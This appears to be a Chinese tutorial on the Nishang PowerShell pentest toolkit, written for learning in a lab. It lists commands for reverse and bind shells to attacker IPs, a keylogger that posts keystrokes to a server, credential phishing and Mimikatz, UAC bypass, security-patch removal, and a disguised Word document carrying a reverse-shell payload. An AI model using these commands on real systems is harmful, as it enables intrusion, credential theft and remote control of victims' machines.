PowerShell攻防進階篇:nishang工具用法詳解
導語:nishang,PowerShell下並肩Empire,Powersploit的神器。
開始之前,先放出個下載地址!
下載地址:samratashok/nishang
1.簡介
Nishang是一款針對PowerShell的滲透工具。說到滲透工具,那自然便是老外開發的東西。國人開發的東西,也不是不行,只不過不被認可罷了。不管是誰開發的,既然跟滲透有關係,那自然是對我們有幫助的,學習就好。來源什麼的都不重要。總之,nishang也是一款不可多得的好工具。非常的好用。
2.簡單的安裝與問題處理
先到github上去下載nishang,可以使用git命令直接下載,如果沒有裝的話下載zip文件,解壓之後就可以開始我們的學習之旅了。
導入之前加一句,nishang的使用是要在PowerShell 3.0以上的環境中才可以正常使用。也就是說win7下是有點小問題的。因為win7下自帶的環境是PowerShell 2.0
如果大家不知道自己的PowerShell環境是多少的版本。可以使用Get-Host命令來查看當前的版本。建議使用windows 10測試
既然是PowerShell框架,那自然是要導入的,然而,導入的時候還是會碰到一些比較麻煩的問題。對PowerShell比較熟悉的,看一眼就知道是什麼問題,但是不知道的就一臉蒙,百度都不知道怎麼百度。比如說:
我們在導入的時候經常會碰到的問題,(不只是nishang)
出現了報錯,我一直都不知道怎麼辦的,沒辦法,只能用過遠程文件下載來進行本地許可權繞過。
解決方法:
PowerShell默認的執行策略是Restricted,但是Restricted是不允許運行任何腳本的。你在PowerShell執行Get-ExecutionPolicy命令來查看默認的策略組。我們需要修改策略組,在PowerShell下執行Set-ExecutionPolicy remotesigned。再次導入,就導入成功了。(警告不需要理會)
因為警告不相信導入成功的,可以繼續執行命令來進一步驗證。
nishang的命令都被列出來了。執行一道命令行Get-Information。可以列出本機的信息
3.目錄結構
有經驗的童鞋看一眼就知道這個目錄是怎麼玩的了,雖然英文水平不怎麼滴,但是晚了這麼久看到這些目錄還是有一些熟悉感的
跟大家說個事情,150分的英語卷子,我得了27分。上面這些是我用google翻譯加蒙的。這都不重要。繼續往後看吧。主要是他後續的功能以及命令的使用。當導入nishang.psm1的時候,所有的模塊都直接可以被PowerShell讀到。當然,在滲透過程中,肯定不能直接把nishang的整個目錄賦值到人家的伺服器上。遠程下載的時候,了解目錄結構對我們尋找文件位置是很有幫助的~~
4.操作方法
忍不住的小夥子們,來來來,拿起紙和筆,記筆記,這是重點。
4.1信息搜集
看上面的目錄結構圖,就知道哪裡去找要用的東西了。挑一些好用的模塊來說
4.1.1 Check-VM
看名字就知道是幹嘛的了,檢測該主機是不是虛擬機
程序給了答覆,說本機器就是一個虛擬機。
4.1.2 Invoke-CredentialsPhish
這個腳本怎麼說,說是欺騙用戶,讓用戶輸入密碼,但是我覺得吧,這就是個十足的流氓。
為啥說是流氓了?不給正確密碼就不給關,你說流氓不,反正關不掉,只能強制幹掉進程。當然,如果成功了,還是很好用的
這樣還是可以的,哈~
4.1.3 Copy-VSS
Copy-VSS [文件地址] –默認是在當前文件夾下面
Copy-VSS [文件地址] -DestinationDir C:temp –保存文件到指定文件下
4.1.4 FireBuster FireListener
內網掃描,很洋氣的掃描器,本地開了監聽,然後遠程傳送數據
FireListener -PortRange 130-150nFireBuster 192.168.12.107 130-150 -Verbosen
由於本機器是台式電腦,並沒有無線網卡,所以不做演示。
4.1.6 Keylogger鍵盤記錄
講真,從來沒有見過這麼牛的鍵盤記錄模塊,這個模塊有必要看一下HELP深究一下,真的牛。
Get-Help .Keylogger.ps1 -fulln
1:直接執行,他會顯示
之後,默認在Temp目錄下生成一個key.log文件
2:就是一句話命令行
-CheckURL去檢查設置的URL頁面中有沒有 -MagicString後的字元串,有的話停止,沒有的話繼續。。
3 : 將記錄的信息以POST形式發送到WEB伺服器上。
4:電腦重啟之後,繼續監聽。。
當監聽完成後,需要用Utility目錄下的Parse_Keys來解析key文件
Parse_Keys "C:UsersxxxAppDataLocalTempkey.log" "c:test.txt"n
-CheckURL 也一定要寫自己的,要不停不下來了
沒有設置persist的童鞋,關掉當前PowerShell,即刻停止
4.1.7 抓取用戶的明文密碼
Invoke-Mimikatz 不需要解釋的神器
4.1.8 HASH獲取
Get-PassHashes
4.1.9 獲取用戶的密碼提示信息
Get-PassHintsn
4.2.0各式各樣的反彈
既然說是神器,那自然有牛的一面,各式各樣的shell,任由你反彈,跟msf一樣。
###TCP的shell
既然TCP,那就有正反向鏈接,先來反向鏈接(需要NC)
反向鏈接:
NC下執行 : nc -lvp 3333
在PowerShell下執行:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.12.110 -Port 3333
正向鏈接:
PowerShell下執行:Invoke-PowerShellTcp -Bind -Port 3333
NC下執行:nc -nv 192.168.12.103 3333
###UDP 的Shell
只是單純的將Invoke-PowerShellTcp改為Invoke-PowerShellUdp,其他命令。之後就是nc的命令改變了
正向連接:nc -nvu 192.168.12.103 3333
反向連接:nc -lup 3333
一波題外話,看不懂nc命令的童鞋:match command-line arguments to their help text
可以到這裡,命令可以解析,什麼都可以,不止是nc,linux命令都行
就是都是英文,不過比較簡單了
###HTTP/HTTPS的shell
HTTP:Invoke-PoshRatHttp -IPAddress 192.168.12.103 -Port 3333nHTTPS:Invoke-PoshRatHttps -IPAddress 192.168.12.103 -Port 3333n
執行完之後會生成一道命令,HTTP和HTTPS一樣,這裡我只演示是HTTP
將這道命令拖入cmd中執行,之後命令行消失,在本機Powershell下返回了一個會話
4.3 webshell
存放於nishangAntak-WebShell目錄下,就是一個ASPX的大馬,但是命令行是PowerShell,比單純的cmd強大很多。功能齊全,日aspx的站必備的東西
同樣需要賬號密碼,上傳下載,無所不能。
4.4 提權
滲透過程中,這裡應該是使用最多的地方了。
4.4.1 嘗試本地許可權提升
Enable-DuplicateToken
這個腳本在我們具有一定許可權的時候,可以幫助幫助我們獲得系統許可權。
4.4.2 Bypass UAC
Invoke-PsUACme 看名字就知道是幹嘛的了。繞過UAC嗎~,Nishang中給出的方法太全面了,GET-HELP來看看幫助信息
實例一: 使用Sysprep方法和默認的Payload執行
實例二: 使用oobe方法跟默認的payload執行
實例三: 使用oobe方法跟自製payload執行
這個模塊用的是UACME項目的DLL來Bypass UAC。所以,方法對照表
這只是官方給的例子,回過頭來看一眼上面的參數信息。
-Payloadpath指定一個payload路徑
-CustomDll64
指定一個dll文件,後兩位代表系統位數
-CustomDll32
嘗試本地Bypass UAC:
4.4.3 刪除補丁
刪除補丁,這是我見過最`厲害`的腳本,沒有之一。如此騷氣!
Remove-Update
實例一: 刪除全部補丁
實例二: 刪除全部的安全補丁
實例三: 刪除指定的補丁
這是刪除之前的補丁情況
嘗試刪除第一個補丁
成功刪除了第一個補丁。
4.5埠掃描,爆破
4.5.1: 埠掃描
來詳細說明下個個參數
可以使用 Get-Help Invoke-PortScan -full 查看幫助信息
-StartAddress 開始的IP地址
-EndAddress 結束的IP地址
-ResolveHost 是否解析主機名
-ScanPort要不要進行埠掃描
-Port 要掃描的埠(默認很多,看上圖)
-TimeOut 超時時間
對我本地區域網進行掃描:
Invoke-PortScan -StartAddress 192.168.250.1 -EndAddress 192.168.250.255 -ResolveHost
掃描中:
掃描結束:
4.5.2 弱口令爆破
Invoke-BruteForce
之前先說命令參數
-ComputerName 對應服務的計算機名
-UserList 用戶名字典
-PasswordList 密碼字典
-Service 服務(默認為:SQL)
-StopOnSuccess 匹配一個後停止
-Delay 延遲時間
有了上面的說明,這裡看到應該很清楚了。不在做過多的解釋。
4.6 嗅探
內網嗅探,動靜太大了,但是,實在沒辦法的時候,不得不說,這是一個辦法。
在靶機上執行:Invoke-Interceptor -ProxyServer 192.168.250.172 -ProxyPort 9999
監聽機器上執行:netcat -lvvp 9999
4.7 屏幕竊取
Show-TargetScreen
屏幕竊取,一樣正反向通吃
-IPAddress 後面加IP地址(反向鏈接需要)
-Port 加埠
-Bind 正向連接
反向鏈接竊取屏幕
靶機:Show-TargetScreen -Reverse -IPAddress 192.168.250.172 -Port 3333
攻擊機:netcat -nlvp 3333 | netcat -nlvp 9999
之後訪問攻擊機器的9999埠,就可以竊取到屏幕了
正向連接竊取屏幕
靶機執行:Show-TargetScreen -Bind -Port 3333
攻擊機執行:netcat -nv 192.168.250.37 3333 | netcat -lnvp 9999
之後同樣,訪問本機的9999埠,就能正常訪問了。
4.8 Client
Nishang可以生成各式各樣的客戶端。類型大概有
這麼多類型全都可以生成。選擇一種來說,其他的方法都是類似的。
打開nishangShellsInvoke-PowerShellTcpOneLine.ps1這個文件,複製第三行的內容。可以看到中間有一個TCPClient的參數,這裡就是遠程連接的地址了
更改這個地址和埠即可,之後進入命令行執行
Invoke-Encode -DataToEncode 你的代碼 -IsString -PostScript
執行完成之後會在當前目錄下生成兩個文件。一個是encoded.txt 另一個是encodedcommand.txt。之後執行
Out-Word -PayloadScript .encodedcommand.txt
就可以在我們當前文件夾下生成一個名為Salary_Details.doc的doc文件。之後使用nc監聽就好
說完了操作,回過頭來看看命令行參數
-Payload 後面直接加payload,但是注意引號的閉合
-PayloadURL 傳入遠程的payload進行生成
-PayloadScript 指定本地的腳本進行生成
-Arguments 之後加要執行的函數。(payload之中有的函數)
-OutputFile 輸出的文件名
-WordFileDir 輸出的目錄地址
-Recurse 在WordFileDir中遞歸尋找Word文件
-RemoveDocx 創建完成後刪除掉原始的文件
5.總結
看完之後肯定一臉懵逼,這都是啥。這麼複雜的語法,沒辦法,針對PowerShell的工具語法相對而言都比較複雜。而且,並沒有講解nishang的後門模塊,個人覺得不是那麼好用。還有一些反彈技巧並沒有詳細介紹,比如說什麼DNS反彈,ICMP反彈,WMI反彈。
有興趣的朋友可以自行研究,每一款工具針對不同的環境都能給我們帶來意想不到的效果。不用歸不用,但是到萬不得已用的時候,才是最噁心的,藝多不壓身嘛~
在研究過程中又碰到問題的,點我頭像給我留言,我看到的話會盡量幫忙的~
本文為 smileTT 原創稿件,授權嘶吼獨家發布,未經許可禁止轉載,如若轉載,請聯繫嘶吼編輯: PowerShell攻防進階篇:nishang工具用法詳解 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※給你安利這些效率工具 一個比一個好用
※【瑾瑜·PS】人物雙重曝光
※留學必備工具使用指南103:從選校到申請管理,小白也能搞定的申請工具
※那些值得收藏的網頁工具匯總(Online)
TAG:PowerShell | 工具 |